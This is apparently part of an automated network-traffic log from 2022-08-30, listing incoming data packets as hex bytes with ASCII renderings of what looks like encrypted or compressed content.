5a 7f 92 84 bd 23 a3 a6 9d 4d 61 89 c9 7c a9 Data Ascii: kT+mXW`#mnu1x:c]=jgkwkM5W@U:VTe58`YBZ< z]klwm/&.iPQtK4:YoE-IQ[ZNS7v`E')7#e8Na/H&,m7.0oZ#Ma\|
2022-08-30 13:55:00 UTC	376	IN	Data Raw: cc 16 53 30 80 af 61 91 4d a1 eb 25 1c f4 7e 5d 5c 4d b8 70 6a b5 68 eb 06 80 2d af a9 0e 9e b5 bc f1 a5 67 c1 09 64 df 1a 10 05 e7 fa e8 ee c4 41 62 b2 7d 7b b0 68 c5 54 df 0e a6 d4 18 ec 20 a2 43 07 1a 97 ed 60 27 ab 65 17 47 7b 24 f1 b0 01 85 81 1e 3d 60 61 05 04 60 e1 87 06 ea 6b 39 84 a0 6d 52 10 2c 6e df e3 d9 a6 d4 3b c2 76 4e 14 19 6a f4 0d df 22 d1 90 ae b2 9f 4a e2 a2 6b 2a 4d 9f 38 14 5a 5e 10 e8 85 ca d9 76 47 69 07 ca d3 07 ff 92 fe d9 f4 2a cf 47 43 88 5a f6 d7 b4 83 21 cd 5c 78 b5 11 ae a6 c2 81 f7 b3 32 74 82 cc b2 03 6a dd 2f 12 0f a5 30 64 aa 2c c3 0d 9a 46 f8 af a9 25 9c 4d 5a a2 53 8d 51 6f 41 49 8c 61 c4 60 02 d3 73 6f d0 4b b8 42 b7 1b 2f 42 73 de 21 f1 36 23 b5 15 b8 ca 6b b1 7e 53 29 c6 c9 c3 a5 c6 40 c6 8e 22 8d a0 36 e8 99 26 94 Data Ascii: S0aM%~]\Mpjh-gdAb}{hT C`'eG{$=`a`k9mR,n;vNj"JkM8Z^vGiGCZ!\x2tj/0d,F%MZSQoAIa`soKB/Bs!6#k~S)@"6&
2022-08-30 13:55:00 UTC	382	IN	Data Raw: d6 da c3 94 f3 7d 9a bb 7c 2d 48 3d d2 af ca 64 8b 14 53 23 52 1a 77 1b 0b 6f e5 a9 8a dc cb 95 f4 c7 95 e7 24 a8 2e 14 16 ea e0 66 7b 1f 4f a7 0a 8f a8 77 11 ce a8 47 01 8f 0b 65 92 e4 13 65 02 01 2e 37 a4 74 69 a5 e2 9b d3 7b f1 68 23 96 13 2f d3 16 a2 86 42 ff f7 2f 48 89 e3 42 86 6f 43 ff 9d 21 5f d6 2f e2 26 e2 ef 7a 3c 81 4e ed 6c cf 46 fa 68 b8 72 7a 8b ef ff d6 e0 65 e3 a8 ef 3c 83 b6 d3 ec 71 98 5b 2d 1f 57 7c b1 6a ef a1 5d 03 b7 62 a0 e1 c6 0d 27 51 9e 1f db 23 de 12 ee 6d 2d 39 f0 e8 2d e0 27 cf 80 29 9d 5e 62 87 e7 3e d5 24 ab 63 86 4e 60 88 e6 0e ea ab 21 4c 8b af 52 32 db 73 e6 eb 5b 1f 90 6a 98 6a d2 5f ef 23 21 e8 ea 22 a7 28 e1 2e 2c b8 e6 37 d1 bd 02 a0 2c 2f ea 27 69 32 38 ad 65 2b bf 57 be de 22 e4 5d 13 e3 26 2c d0 d3 a4 51 5f ae a0 Data Ascii: }\|-H=dS#Rwo$.f{OwGee.7ti{h#/B/HBoC!_/&z<NlFhrze<q[-W\|j]b'Q#m-9-')^b>$cN`!LR2s[jj_#!"(.,7,/'i28e+W"]&,Q_
2022-08-30 13:55:00 UTC	387	IN	Data Raw: b9 17 a9 2f 96 97 85 be 2b d7 14 94 2f 23 65 a7 a0 e7 e6 11 99 13 2e b6 41 38 dc 80 ae 2b 2a 05 ce bd 3a 64 aa bc ba 6f af 3e 7f 4e 5e 35 25 19 d7 ad 62 35 7b dc 90 d6 11 50 1d ef 23 ad e8 aa 65 df 55 e3 12 df 51 e5 1b a0 22 99 1b 2a cf 78 e1 cb f9 bf f8 45 cd 68 e1 60 e5 ec 3a a4 d2 29 2e f5 1a a7 6b 1d d0 b7 78 f0 35 c6 8b 28 ed 30 fe 00 09 68 a2 fc f1 14 9a 4d 0c 88 0b 9d d1 3b b4 9e 92 a4 2d c8 81 df 2d a7 95 b7 7a e3 15 5c 2a b6 3b 23 15 9c 29 a0 6f 6d 29 60 22 ab 21 e3 6f cd 90 4d 80 05 04 ba ef f0 cd d4 2d 65 16 5c 46 fa 44 b9 2f 9b 00 71 80 4e 91 5e 6b 58 58 ab 10 4c cd 98 22 a5 28 6c 1b 1c 24 ef d5 dd f8 a4 78 a3 61 a3 5b 66 e5 d4 29 6f e7 d0 e0 b1 82 e1 1c 62 d5 ea e5 fd bf f7 7b 69 2f 21 a9 6c e1 84 c5 d6 5c a7 6a c0 0c c4 b3 9d 62 c6 fb c0 f5 Data Ascii: /+/#e.A8+:do>N^5%b5{P#eUQ"xEh`:).kx5(0hM;--z\*;#)om)`"!oM-e\FD/qN^kXXL"(l$xa[f)ob{i/!l\jb
2022-08-30 13:55:00 UTC	393	IN	Data Raw: 0b b2 7f b3 7e a6 7c b0 7c 7b 58 8a 7e 3e 37 c3 c1 f6 f4 68 a8 6f 8e 8e ad 3c 13 9e b1 9d da 9e 1e 88 98 27 7a 8a 02 68 40 87 af a6 a2 ab eb 5d 6e a6 6a 12 ad 2e 41 88 2b dd a9 29 17 ed 00 75 93 26 2c 66 6d a6 6a 4c 83 a5 59 6b d4 6b ad 12 d0 ed e5 91 e0 99 24 66 6f 2d e8 2e 63 ef 41 15 ff ec d3 25 5c ad 26 d8 c2 35 03 bd 1b 65 45 41 60 2e 4a 0d 32 ba 15 79 cb e3 65 ef c8 07 a4 ef e4 e9 69 62 e6 8d c3 2b 14 a3 57 9e 5d 2d 34 fc ca 46 bb 77 a7 ec 14 bf 7e 91 67 2d 25 6d 6e ac d3 91 e2 ee 13 97 6d 2d 51 db aa 05 82 ee 2a de 1a 6f e0 1d 9a e4 49 cf a1 e4 a8 ec e3 67 65 b7 74 67 e9 e5 6a e6 24 1e 94 ee eb 6f dd 98 92 97 17 8f f6 64 c2 0f ab 66 39 37 a9 a6 aa 66 2d 23 a9 0f c4 60 ab 9c 92 64 6d 61 ab 88 86 64 c2 0b af 66 49 47 a9 a2 ae 66 7d 73 a9 af 68 af 73 Data Ascii: ~\|\|{X~>7ho<'zh@]nj.A+)u&,fmjLYkk$fo-.cA%\&5eEA`.J2yeib+W]-4Fw~g-%mnm-Q*oIgetgj$odf97f-#`dmadfIGf}shs
2022-08-30 13:55:00 UTC	409	IN	Data Raw: 6a 82 8a 40 23 0c 88 1c b5 cd 66 a7 3f d0 4b 7d 2b 3e 5a 8e 71 65 d3 de 72 ab 07 de c2 76 13 a7 1b d6 d2 4e 34 9c cb 37 e1 b0 f3 41 0d 7a 84 13 1f ae 84 47 18 73 8b 94 2d b1 3d d2 7f f5 5e 84 f7 28 5b 1f 93 f7 68 b1 1c 84 9e 57 3e 0f 92 f7 8b 50 2e f5 50 c9 3e 04 5b 64 3b 2b af c9 bd 55 4e b3 58 36 89 cb 9c 30 54 e6 d3 05 e0 2a 72 f3 2a be 32 e6 3a cd 82 8f 82 a4 e9 ec 5d db 11 a0 e0 fb 43 2a a4 5b b3 42 11 46 05 e1 54 24 a4 7b 77 25 2a de 92 8d 87 b3 ac 73 ba 75 1f d3 ea cc a2 97 f9 e4 63 d0 5d 60 5d 9a a3 3a 04 db 83 3f 29 be 02 5e 0d 71 c3 02 60 1f 2c 18 26 ed ab 21 4c 7e d4 8f 4d 16 ca cd 73 ce de 11 2a 2c 28 98 f4 c6 0d 44 3d 01 1e e3 48 f8 42 c2 21 70 83 14 c3 fa 1e 5f 4d 0a 65 a8 02 ce d3 78 8d 8c 9c b5 d2 09 cb ef 94 19 b9 02 53 1c 60 69 ef a5 86 Data Ascii: j@#f?K}+>ZqervN47AzGs-=^([hW>P.P>[d;+UNX60Tr2:]C[BFT${w%suc]`]:?)^q`,&!L~Ms*,(D=HB!p_MexS`i
2022-08-30 13:55:00 UTC	422	IN	Data Raw: 23 a3 24 5c 16 62 c6 80 21 af dd 90 e6 69 03 84 af d6 1e a4 2c 68 07 c4 27 1b 1a a2 2f 66 0a 37 45 14 a3 02 ee a7 6a 22 2f 13 3b bf 57 86 4b b5 0c c5 38 68 a1 fb 32 68 c1 db 12 fb 2f 9a aa 7c 04 e8 70 c7 a0 e8 44 7b 9c 52 ca f3 3a dc 96 88 ce 39 7c c7 04 7d a4 a9 1f d4 54 c3 12 f3 6e dc 2d ae a1 ea aa ad 8c 40 a1 62 e2 2f ab a4 b8 91 06 3c 56 47 d3 d1 6a 2f 21 5c e6 ea 52 fd 36 e0 2b 27 b6 b2 39 75 ea cd 85 23 22 26 2a 99 6a 27 15 ef 19 ac a3 51 e3 18 13 c6 8a 03 24 7d 5a e6 8a 86 00 7b 74 66 42 a3 2e ba f7 26 13 c1 3c db 11 6b ff b3 73 c1 d7 7d 3b 2f ea 24 b0 fd 33 fe 41 8c 83 4c 0f c0 61 e9 aa cf 88 21 09 4c 6b e0 6c 11 40 3b a8 d9 d7 c5 3a 15 37 c1 78 d6 f3 a2 e5 e9 b1 f8 6b b1 3e ee a3 68 a7 6b 29 3a 7c 00 cb 11 99 2c 6a cf 36 c7 3e d2 bb 1b ce d5 ea Data Ascii: #$\b!i,h'/f7Ej"/;WK8h2h/\|pD{R:9\|}Tn-@b/<VGj/!\R6+'9u#"&*j'Q$}Z{tfB.&<ks};/$3ALa!Lkl@;:7xk>hk):\|,j6>
2022-08-30 13:55:00 UTC	429	IN	Data Raw: 4d 03 10 5f 1f f4 04 ae a1 fc 51 6e f2 1f 08 e5 a3 48 75 06 e0 a3 5e 4c 95 30 00 4a 68 d5 0c b7 62 2e 00 4c 83 48 b9 ca 40 64 39 ef a9 ee 6b 6c e8 6c 07 eb 6d db b1 2f d5 20 c2 37 dd 98 3b 68 82 78 43 ac 60 c6 52 f7 a9 f5 fb ff 72 a9 24 ef 51 dd 3b c1 04 57 89 05 e3 78 6a 9f ad b1 ec 32 87 9b be dc ee a7 16 ec 5d b1 25 00 ab 67 22 6c 90 f6 42 d2 0c 1c 2a a3 2e 3f 5b 69 b1 b1 81 0f 85 08 3b bc 01 6c 91 ff a9 e7 49 49 98 a3 92 8f 2d cd 2f 62 ac cc 4a 4f 75 83 46 a7 11 e3 df d2 8d 08 a1 5f 69 df e1 57 11 d7 6f 9b 6b 64 a2 fc 3a cf 71 df 39 c2 15 8d c9 24 6a a7 65 1f 0d 9c 94 bd d2 00 7a ef a1 e4 a8 ed ab 6d 31 be 29 e4 0d fa 81 02 1c 27 26 6d df 62 54 5c d8 ee 29 db 0d fc 02 bc 1a fc 0f d7 1f d6 1f db 72 ff af 6b d5 c8 f9 53 9f a5 6b d3 0d 3f ba cc df f9 c5 Data Ascii: M_QnHu^L0Jhb.LH@d9kllm/ 7;hxC`Rr$Q;Wxj2]%g"lB*.?[i;lII-/bJOuF_iWokd:q9$jezm1)'&mbT\)rkSk?
2022-08-30 13:55:00 UTC	430	IN	Data Raw: 23 2b aa a5 a5 6a 75 df c0 6a 80 48 45 4b 89 88 e7 6f b1 f6 af 18 b6 cd a5 4e c2 f0 f7 e9 c6 3d 12 e3 db d2 a7 ba ba 6a ca ca a7 00 c8 67 af 18 80 f9 20 f1 f3 64 24 31 1c bf 6b a7 56 40 3c a2 d8 7f 3d 3f 7a 61 28 21 9e e1 7b 01 ab 1d 45 f6 ae 19 90 f7 38 f5 08 98 62 e7 3d 5d 83 e3 8f 50 3e e1 58 d5 2a 30 a9 b6 2f 2f b7 d1 8d 69 46 47 ad d0 51 f4 98 33 17 a2 d7 05 72 fb 35 ae 6d 2a 87 88 29 27 21 90 16 34 82 a0 e0 e7 5f c1 6a 42 01 cf ab 80 8f dc 8b c8 0e b6 6a 6e c1 c4 6b a1 2f ef 89 5a 34 eb ee 25 68 d0 1e 27 01 6f c9 e4 63 6e e9 dc 9b d8 18 13 db 4d 01 69 17 6b dd 62 b3 d7 4e 18 d5 db 32 b3 1e 6e a0 ea 88 4f c5 46 24 a7 22 6a 2f 13 0e a2 37 64 ad 2b af 99 1a e4 62 d3 14 e5 ab 6d 09 cf ab ae a1 e4 89 81 ef 28 ee 66 0e 41 58 55 23 55 09 ff a2 54 50 a6 cd Data Ascii: #+jujHEKoN=jg d$1kV@<=?za(!{E8b=]P>X0//iFGQ3r5m)'!4_jBjnk/Z4%h'ocnMikbN2nOF$"j/7d+bm(fAXU#UTP
2022-08-30 13:55:00 UTC	446	IN	Data Raw: de d3 69 ed aa 3e 32 64 20 a5 a1 63 e6 b4 f9 43 7e d6 a0 f4 b2 eb ad ee e0 64 30 3e af 6a 66 cf 6e 6f 51 8b 55 74 f2 2c ba 36 9a 17 2f 68 22 57 c9 fe 4b fc e9 56 bc 74 9e d7 16 de fd 7e c2 c7 a2 e9 1c 5d 60 6f 0a ce 52 5b a7 e4 a9 e8 e6 66 bb fe 6b 35 90 df 32 66 93 cf 3a cf c3 56 32 c6 7d 71 f6 eb 7f e2 59 62 d5 65 09 07 a9 de 8b b4 28 65 a1 98 0d 35 ce 8c 20 db 5a 9d 2d f4 8c 50 29 d7 08 85 22 22 d2 16 95 d8 55 f8 42 64 8d cb 4e eb 4a 64 95 f7 3e 9f 32 3c 9d ff 36 1f e8 b5 7b b8 70 20 e0 ad 02 bc b2 76 12 d9 de 2c 2e c7 76 d3 1f 2e e2 9e 6b a7 6a d2 0a fa a7 dd e1 d3 6c ae d3 17 0a 48 e4 1b c0 b6 6e a3 83 ea 8e ae 2c 1e d2 a9 22 62 b3 d7 76 77 d3 ec 7c ab 6a 25 ed 62 eb b7 73 64 ad eb 4e bb 16 68 a8 e6 26 d8 51 6c df f6 04 dd b8 32 3c 8d e1 65 2f 26 b4 Data Ascii: i>2d cC~d0>jfnoQUt,6/h"WKVt~]`oR[fk52f:V2}qYbe(e5 Z-P)""UBdNJd>2<6{p v,.v.kjlHn,"bvw\|j%bsdNh&Ql2<e/&
2022-08-30 13:55:00 UTC	447	IN	Data Raw: 58 26 a2 06 94 4d 7d 83 cc 45 8b dc e8 d2 e0 6f 8c 8e eb 8a 5d b8 4d 9f 56 a3 52 9c 08 f5 f9 e6 8e 6e a6 79 6a b1 af 0a ee aa e1 c8 be 1e e4 88 4a 4f ef 8b 6a d4 db e0 96 5c e1 0b fc c0 17 27 70 1b c2 33 a3 3c 4c 61 d8 3e 51 74 e2 6d 33 1f 9c d9 42 df e7 33 0b 87 c1 29 5a e8 12 a5 59 98 bd c3 f4 34 f8 c4 2e 18 d2 a5 68 a7 6a 4c 84 99 96 6f 29 ab ed 28 41 0c 18 15 c3 16 7f a0 78 37 ee 4b 7d 93 5e a7 a6 34 03 26 ab 2b 65 0c ca f7 9b 06 fb 7f 1b 83 89 b9 f7 af 30 4b ad 27 d3 73 02 59 9e e3 4d 9a 9a 87 3d 15 8a a5 80 68 6e 81 bb 13 0b d3 1d a0 6e b5 0c 9e ad df d1 62 ef 9a 4c 81 1f 62 62 07 b3 67 5f 67 ab ea 17 d2 1c 54 10 bd d8 ba 85 85 df 0a 50 3f 99 29 cb 42 cb 42 27 62 f2 e7 4a 12 a9 2f e3 6e 80 1a 37 87 8d e8 aa 02 c6 21 24 64 22 2c e3 9e 52 67 68 a1 0e Data Ascii: X&M}Eo]MVRnyjJOj\'p3<La>Qtm3B3)ZY4.hjLo)(Ax7K}^4&+e0K'sYM=hnnbLbbg_gTP?)BB'bJ/n7!$d",Rgh
2022-08-30 13:55:00 UTC	452	IN	Data Raw: 6b 65 09 03 af 4a 0e 83 1e bf a9 d6 de 64 c3 83 6b ea ad d5 f5 a7 03 b7 77 21 ee bd 70 a7 23 65 3e 31 23 2c 15 1f 1d 7b fa f5 40 ac 71 fc af 21 a3 96 80 2d 8b d8 6b c1 87 ff f1 64 2f 28 d4 58 bc f4 2f 2f 2d e7 fb 31 22 a4 9c 1a 19 6b eb 31 c6 e3 e9 e9 e7 6f bd cb 8e 0c 35 8c 22 6a 02 3e 38 c9 09 53 a5 b8 7a f8 2a 61 bf bb d3 19 62 a8 d3 05 7d 2c ee a8 e1 2f 7a ff af 6a 2b ef a0 cc 82 a6 1e 38 c8 c4 bc 13 18 bc b5 2f 8f 79 ad ae c9 f2 3a 8a 63 c4 55 df 0e 82 63 ef 16 b7 3a 3c 2d 43 cb 42 4d d1 1f b2 7e e6 3e b2 7d b9 a3 ca c6 e3 6f 67 8b 82 fb 22 79 a5 22 dc 99 a3 e6 66 67 07 4e e7 2e 23 de 92 2a d5 d2 cd c3 6a 26 1b 05 bd 22 6a 3d 01 0b 5a 3f 2b 7b 78 6a 9f ad b1 fc 14 b1 c9 ec a3 91 a7 7c 9e b8 a5 6a a5 25 aa b2 d9 c1 6f 26 1a ff c6 a2 6c 13 5f 67 2a 54 Data Ascii: keJdkw!p#e>1#,{@q!-kd/(X//-1"k1o5"j>8Szab},/zj+8/y:cUc:<-CBM~>}og"y"fgN.#j&"j=Z?+{xj\|j%o&l_g*T
2022-08-30 13:55:00 UTC	463	IN	Data Raw: 73 bd 70 bf 72 82 0f 0f 92 ff a3 7a aa 17 1e c7 5a ff 83 19 35 bf 72 f8 4f d5 93 7c 30 26 d1 9d fb 91 a5 07 c0 e8 77 a2 94 57 99 61 40 a4 2b 20 ad a6 85 40 a9 95 6b e8 c7 c0 01 77 8f a2 b2 d5 2e 80 ae fb 16 3a e7 ba 6b 37 21 97 d6 b8 a9 29 28 e5 bf 7f db ce f1 ec e9 db 94 d3 0f be 23 63 56 5e ae 57 15 96 51 5e e6 cf 81 11 52 de 1f 53 fd 58 7b 90 5b a7 2c 2e 11 fd fb b6 23 97 6e 8b aa ef 19 5f 9d e7 df d6 de 43 3b 16 0b e5 f2 23 34 a4 2b 29 38 4d e6 ae fa d7 0d 7f 31 db 8a 1d d9 71 5d 49 82 5e e6 22 74 24 2e 20 9a 3d 8e 25 3f 8e 72 87 ef f9 c5 df d6 a6 c3 47 4b 5c 43 47 83 65 39 54 ad 30 ea 1c e3 06 4b ed 23 b0 30 60 3d 48 8b 3d 22 2e f2 ff a8 6f 21 e7 ab 6a 7e ff 13 d6 e3 7e 2a d6 0b 24 41 47 3a 40 76 44 76 d8 09 87 2b c6 2f a2 28 8d 33 d6 ed 70 2e 33 cb Data Ascii: sprzZ5rO\|0&wWa@+ @kw.:k7!)(#cV^WQ^RSX{[,.#n_C;#4+)8M1q]I^"t$. =%?rGK\CGe9T0K#0`=H=".o!j~~*$AG:@vDv+/(3p.3
2022-08-30 13:55:00 UTC	479	IN	Data Raw: 38 98 0f e8 23 cf 33 b5 8b 0c 6b 52 73 48 5e 0f db 8b da 9c 82 c1 e8 c1 2a 02 b0 26 d2 46 85 7b 7a 85 c9 d2 e4 e8 e9 8f 4c 2b b1 68 b4 6f 84 35 1c ac 00 a6 45 e6 32 fb ed 25 6a 1c 15 61 5f 41 bd a2 63 3b a6 f5 5f 66 0e 36 07 81 f6 72 32 dc 5e b1 b6 4f 07 fb 84 12 af 38 dc f5 57 7c e9 a8 ff bf 85 ea 7d 4d ed b7 d5 8e b5 50 2d ca 80 0d 85 09 04 9e dc 43 36 c3 74 80 6e 24 8c c4 5b 79 24 07 67 03 3f 50 5b 5e 97 93 03 b9 6f d7 36 e4 c7 14 b2 77 9e 5e 80 2a 36 9d d8 cd ce d9 ed 90 66 1a a1 39 f8 77 81 64 50 b4 d9 83 a8 f0 ec de 00 33 68 4d 59 79 5a 10 f1 ba 02 f7 09 fe 37 aa a1 3d 0b d0 ba 6a 37 8d 12 a9 6f 6a ea ed 5a 37 42 2e de a4 1b 64 ec f9 b3 a7 b4 1e 4b e3 81 43 e3 20 2d 4c 76 38 35 11 de fb 6d f6 26 bf 58 ab 8e 7c dc 38 d7 36 ee 65 7f f5 b6 82 87 b1 83 Data Ascii: 8#3kRsH^&F{zL+ho5E2%ja_Ac;_f6r2^O8W\|}MP-C6tn$[y$g?P[^o6w^6f9wdP3hMYyZ7=j7ojZ7B.dKC -Lv85m&X\|86e
2022-08-30 13:55:00 UTC	495	IN	Data Raw: 0a 33 9e 90 a9 53 1a 82 cb 53 52 6b 9e 27 1e 53 53 6a 9e 37 af 06 9e 9d a4 53 ca f3 9e 9c a5 53 da 42 cb 53 54 6d 9e 67 5e 53 55 6c 9e 77 ef 06 9e e7 de 53 8a b3 9e e6 df 53 9a f2 3b 53 29 10 9e a7 0c 32 97 ed da 53 c0 15 86 53 2f 16 9e 8f b6 53 2c 15 9e 0d f8 6b 9e e0 d9 53 22 1b 9e ee d7 53 c0 55 c6 53 20 19 9e cf f6 53 21 18 9e 0d b8 2b 9e eb d2 53 e2 db 9e e9 d0 53 c0 95 06 53 25 1c 9e 0f 36 53 3a 03 9e 0d 78 eb 9e f5 cc 53 a2 9b 9e f1 c8 53 c0 d5 46 53 3d 04 9e 4f 76 53 30 09 9e 0d 38 ab 9e c2 fb 53 62 db 8c 5e f5 53 c0 15 86 53 06 3f 9e 8f b6 53 eb d2 9e 0d f8 6b 9e a6 6f 2b aa 1b 9e a3 9a 53 7f c7 88 37 99 53 02 3b 9f 06 7c 19 6b a6 62 a5 68 df 75 c5 ef 8d c1 a6 fa 3d 64 db 9a 2b 16 d3 62 9f fc 95 f6 9f 46 b3 52 33 c6 9f 45 b0 70 13 78 1b 70 ad 7a Data Ascii: 3SSRk'SSj7SSBSTmg^SUlwSS;S)2SS/S,kS"SUS S!+SSS%6S:xSSFS=OvS08Sb^SS?Sko+S7S;\|kbhu=d+bFR3Epxpz
2022-08-30 13:55:00 UTC	511	IN	Data Raw: 99 41 84 4d 88 47 8a 50 b4 92 7f 48 35 17 83 86 22 c7 03 ca 07 cf ab 2b d2 53 02 27 81 2c 83 c7 0b c7 1b c6 9b 40 93 39 01 cc 1d d0 0a 4f 93 56 87 ca 09 c0 0f 4e 93 5d 70 b7 9a 6f d2 cd d0 77 0a ce 07 ca 02 43 ee cc 90 bf 81 ac c5 f3 b9 e6 02 cb 04 a3 8c 41 84 4d 88 47 8a 41 7d 3e ed a1 10 85 d2 4e 53 f7 0a ce 07 ca 02 47 ab f7 e7 b2 81 34 9a c6 1e c2 9b 40 0d cc 91 76 ab 4a cd e5 89 44 93 f7 ca 57 9a a7 80 15 b2 c7 fd 59 07 ca 02 47 9b 4f 7a 4c 71 17 22 f4 66 f8 8b 53 ae f7 01 5c 8b 56 87 42 89 c5 62 c8 9e b9 8e 4f a5 21 2a 4c 88 4a 87 5b 1e c0 8d 45 1f b9 6e cf 8f 43 2f 97 18 44 89 44 8c 30 29 04 19 45 91 35 4b 69 74 56 02 56 8a 40 aa c9 26 59 01 c3 c7 e7 85 c0 62 ce 8a 48 0a 11 52 4e 06 d5 94 55 89 ab 97 cf 0e b2 c7 72 0a 1f 3a 40 8c 4e 03 c6 83 49 25 Data Ascii: AMGPH5"+S',@9OVN]powCAMGA}>NSG4@vJDWYGOzLq"fS\VBbO!*LJ[EnC/DD0)E5KitVV@&YbHRNUr:@NI%
2022-08-30 13:55:00 UTC	527	IN	Data Raw: 6b a0 2f 95 56 cb 5a b0 6d b7 f8 35 75 78 b2 6f 6a 61 1c d2 0f c3 ee 7e 06 d4 a8 e0 b2 8c 0e ef 72 a3 f3 ca 9a a2 54 91 63 a7 58 8f 74 a3 22 e4 51 97 5f 9b 62 97 06 8e 11 a8 73 ee 5e cd 64 be 83 49 6d 8e 57 b3 73 35 ed 52 8b b3 79 a1 7f 37 df cf 27 82 02 ea cd 04 0b a4 1b 78 07 48 51 73 85 88 6f 66 81 18 b9 cd 43 dd 4c df 2d 44 90 dd 43 4c 8f a7 24 a2 d4 06 59 d1 34 bf 68 91 6c 25 ea 82 f6 d1 93 ad 66 57 9c 51 9b bb 86 02 1c 90 cf 09 60 b3 77 0a de be 43 23 c8 b5 77 68 0b 0a 47 97 64 9a 50 66 11 15 18 f7 53 ce 3a 9e 01 e4 51 5c e8 fc 4c a9 7f c2 11 b9 0f dc 74 20 f4 ba 9b 34 06 83 37 ea 72 90 6e a1 2d d6 5a 11 f6 83 66 a5 64 9b 78 8d 50 96 61 af 99 77 7b 96 3b ef 74 a1 72 8f 57 b2 c2 49 2c e7 00 81 1e 35 e8 a7 30 96 01 fd 57 b1 1b df 71 87 57 1b d2 5d 92 Data Ascii: k/VZm5uxoja~rTcXt"Q_bs^dImWs5Ry7'xHQsofCL-DCL$Y4hl%fWQ`wC#whGdPfS:Q\Lt 47rn-ZfdxPaw{;trWI,50WqW]
2022-08-30 13:55:00 UTC	531	IN	Data Raw: 35 f5 47 97 51 9b 19 d1 a9 92 5e 7a 43 75 42 d8 8d 96 6b 94 14 a5 37 9a 5c 6c fc f2 77 99 6f e0 39 95 7b 0d 91 e3 48 20 6e 76 3d fa 57 a3 0f f8 07 d6 1a 91 6c a5 a6 6f 3d d2 4a f5 3e c8 51 89 43 84 7f a1 60 a6 64 a8 60 c3 56 c3 53 c7 af 69 9e 69 3c af 42 dc d2 29 87 e6 b2 be 12 f7 4c c8 29 8b 6b bd 6c ba 69 cb d4 03 51 a4 ab 2e a1 02 af 79 15 d3 9d e5 cd 80 03 de 0d 90 79 bc 42 df 04 f0 b4 b2 80 85 0d b0 fa 8a 05 1a fe 0b 6d c5 23 df 5b e6 99 50 6e cc c1 f2 9f cb 02 c2 cb d7 d5 a6 49 8b 78 bf 01 41 4b 48 45 c6 29 82 74 5e 82 4b f3 7d c5 e8 5f d2 29 8b 75 ae 72 cf 34 74 ee f0 58 a8 69 8f 2b 50 7c 4c f8 56 65 b8 d7 15 5f a5 2b ff 14 85 56 c8 3d 9a f4 ac 06 68 e5 a3 ea 5e 52 cc 94 b6 57 df 6a 0e 27 56 9e ea 1b 9d 6a bc 73 46 0f 9d f1 63 19 32 03 4e 65 cf cf Data Ascii: 5GQ^zCuBk7\lwo9{H nv=Wlo=J>QC`d`VSii<B)L)kliQ.yyBm#[PnIxAKHE)t^K}_)ur4tXi+P\|LVe_+V=h^RWj'VjsFc2Ne
2022-08-30 13:55:00 UTC	537	IN	Data Raw: 5c d4 17 e0 8f 04 a4 de a3 ea 37 88 28 54 1d d6 b5 a6 6a a7 fb 1d ce 8f 51 5f e3 ee 69 8e cf f5 76 74 37 2e fc 36 a9 2a 0c 44 22 e6 9b 7c a0 0b ea eb ed 5d 50 d6 02 35 ae af 72 75 22 a8 ef ed a0 27 48 0e b2 f5 2e e2 62 ab 63 08 a7 01 13 04 59 b0 35 bf 1a 56 88 50 85 cf 81 2b 66 6e e2 e3 2d 72 f0 e8 24 2c ed 65 13 78 40 24 b7 bb d8 a7 6a 6b 90 26 af 2f 22 b3 2d b9 6a 2d e4 a2 e3 62 63 ee 68 e0 21 6a 20 e3 e7 9f f4 00 ab 6f 20 e0 a9 61 e8 20 af 7f f8 9f 80 d8 cc 86 b9 d1 a9 eb e5 6e 2f ef 90 9c 78 a6 6f a1 f4 a8 6a a7 ab e2 ab 72 12 a3 1f fc 16 65 92 e2 15 85 97 77 24 62 af 6b 6a 11 36 98 ec 43 af 66 02 c3 c2 82 47 ba 68 a7 dd 62 6a 26 56 1b 28 1a 51 66 af cf 6e ab 39 51 ef e6 ac fc 45 4d c4 11 67 a7 ae 8c f9 5e 0a af de df 0e 92 37 f0 05 ca 5a 64 0e 03 8c Data Ascii: \7(TjQ_ivt7.6*D"\|]P5ru"'H.bcY5VP+fn-r$,ex@$jk&/"-j-bch!j o a n/xojrew$bkj6CfGhbj&V(Qfn9QEMg^7Zd
2022-08-30 13:55:00 UTC	541	IN	Data Raw: c2 a7 9e e3 da b7 0a d7 e0 1d 5a 07 ce 68 a4 a2 fa 47 1a 70 8d 97 6c ad d6 17 1b d6 77 fd 2d a7 76 10 71 17 1b d6 47 3a da 97 ea 17 5a e7 1a 3d 79 1e 5a e7 9a 17 1b d6 1c 99 d2 5f c9 bc da d6 1b 30 4d 17 1a 67 da 07 ba d7 24 3d 8e 97 d8 1c 13 d7 ae 2a 10 9a b4 b6 db d7 1d 9a 20 a7 ea 17 58 d4 1b bd b3 d4 da 2f 52 17 1b d6 e6 60 21 33 fe 3b 46 17 fa 47 1a d0 53 19 91 c9 bf 17 ea 57 1a 93 11 98 2e 23 da e7 73 8e 1a 30 ad 47 c1 0c da 07 ba d7 8c 4c 57 97 96 ab b3 ff 1b 8d 11 f6 6a a1 9c 27 1b d7 1b 8a 15 f5 6a af ca c3 a3 a2 1b d6 25 58 da 83 fe 17 ff 43 1b d4 ad 13 ea 57 1a af 31 04 b3 fd 69 d6 1a d6 0e 97 4e ce c3 17 1b d6 a7 fc a9 82 06 0b da 77 ca d7 3e a5 cc 69 27 64 da d6 1b 21 bb 40 d3 1e da d6 1b 04 5c 82 da 13 6e 17 da 67 1a 5f ca 4f d3 af db 17 6a Data Ascii: ZhGplw-vqG:Z=yZ_0Mg$=* X/R`!3;FGSW.#s0GLWj'j%XCW1iNw>i'd!@\ng_Oj
2022-08-30 13:55:00 UTC	542	IN	Data Raw: c4 cb a8 64 aa 7c 70 65 0e 01 6a 65 a9 67 72 0e 1a 83 4e 65 48 46 6b 66 1b 65 d8 a7 8a 87 a8 64 aa 8a f8 ad 1e 41 8c 65 a8 a7 ab 48 32 91 ea a7 72 6a ba a2 9a 97 ab ba 9f f9 1d f5 39 64 a8 66 80 f5 d3 ab 66 ef e3 64 a8 66 77 01 d0 a7 e9 e5 82 4f aa a6 d1 1c 6a c3 ce 62 5a 53 aa 82 8e 65 10 1f a8 64 aa 3e 4e b3 c2 a7 e2 4f 0b 06 2a 47 a6 0b 0a 24 08 43 8e 46 da aa d7 a7 ca e7 88 90 be 46 be 13 0b 12 be c6 8a 46 93 e0 dc af 6a 63 ce c6 6b 18 d5 a7 60 5a fd c7 b6 1a 0a 66 aa a7 27 bf 5f c7 9a 37 0b f6 da 47 85 28 0a 5f b7 e2 0b 56 7a 47 93 9f 4b 25 de 74 ef 27 6a 65 a8 a7 68 66 ca c5 31 ed 9a 